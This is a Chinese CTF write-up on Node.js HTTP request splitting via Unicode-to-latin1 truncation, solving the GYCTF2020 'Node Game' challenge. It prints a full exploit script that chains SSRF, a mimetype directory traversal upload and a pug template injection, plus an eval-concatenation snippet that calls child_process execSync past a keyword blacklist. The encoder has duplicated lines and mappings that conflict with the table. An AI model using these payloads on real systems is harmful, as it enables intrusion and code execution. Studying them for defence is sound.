nodejs HTTP拆分攻击
nodejs 8.12 Node.js API 文档
当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击
原理
Unicode原理
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
:
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码 |
---|---|---|---|
回车符 \r | \u010d | č | %C4%8D |
换行符 \n | \u010a | Ċ | %C4%8A |
空格 | \u0120 | Ġ | %C4%A0 |
反斜杠 \ | \u0122 | Ģ | %C4%A2 |
单引号 ‘ | \u0127 | ħ | %C4%A7 |
反引号 ` | \u0160 | Š | %C5%A0 |
叹号 ! | \u0121 | ġ | %C4%A1 |
nodejs 的 HTTP 拆分攻击利用
由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。
当 Node.js v8 或更低版本对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
…………
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………
GET HTTP/1.1
Host: 47.101.57.72:4000
所以我们构造的部分:
HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………
GET
构造HTTP请求
py脚本:
payload = ''' HTTP/1.1
[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
print(payload)
WP
1.[GYCTF2020]Node Game
source:
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan'); // morgan是express默认的日志中间件
const multer = require('multer'); // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index"; //URL没有传东西就默认到index
if( action.includes("/") || action.includes("\\") ){ //action中不能含有/或\\字符
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file); // 渲染pug模板引擎 /template/自己url传的东西+.pug
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
//admin验证需要有本地IP, nodejs的req.connection.remoteAddress我没有找到伪造的方法,所以这里需要http请求走私
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj)); //JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
return
}
fs.readFile(req.files[0].path, function(err, data){
//node.js 读取文件 fs.readFile(),算是一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){,然后去做err判断
//这里为了判断上传文件合法
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
// /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
//可以类比nginx MIME -type和Content-Type的 关系 : 当web服务器收到静态的资源 文件 请求时,依据请求 文件 的后缀名在服务器的 MIME 配置 文件 中找到 对应 的 MIME Type,再根据 MIME Type设置HTTP Response的Content-Type,然后浏览器根据Content-Type的值处理 文件 。
if(!fs.existsSync(__dirname + file_path)){ //fs.existsSync如果路径存在则返回 true,否则返回 false。
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name //上传成功,返回文件名和路径
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url); //blacklist过滤
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) { //http.get漏洞利用点
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) { //可以通过字符串拼接绕过。
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
路由功能:
- /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
- /source:回显源码
- /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
- /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。
思路:利用SSRF伪造本地ip进行文件上传, 上传一个pug模板文件到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag
在文件上传处抓包
对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 ../template
用于目录穿越(注意Content-Length也需要改成变化后的值),然后编写以下利用脚本:
import requests
import urllib.parse
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)
#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
加密也可以用另一种方法
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
↓
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)
ps,post上传包的处理还挺严格的,
Content-Length绝对不能少的,是下面的加上上下两个换行,264+2(哎等等,好像数量不对也没关系)
------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--
至于本地IP的端口,源码上面看是8081,但其实只是检测了127.0.0.1,不写也可以
关于pug
上传的pug,不止有includ文件的方法
doctype html
html
head
style
include ../../../../../../../flag.txt
还有通过拼接 命令执行
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
参考链接: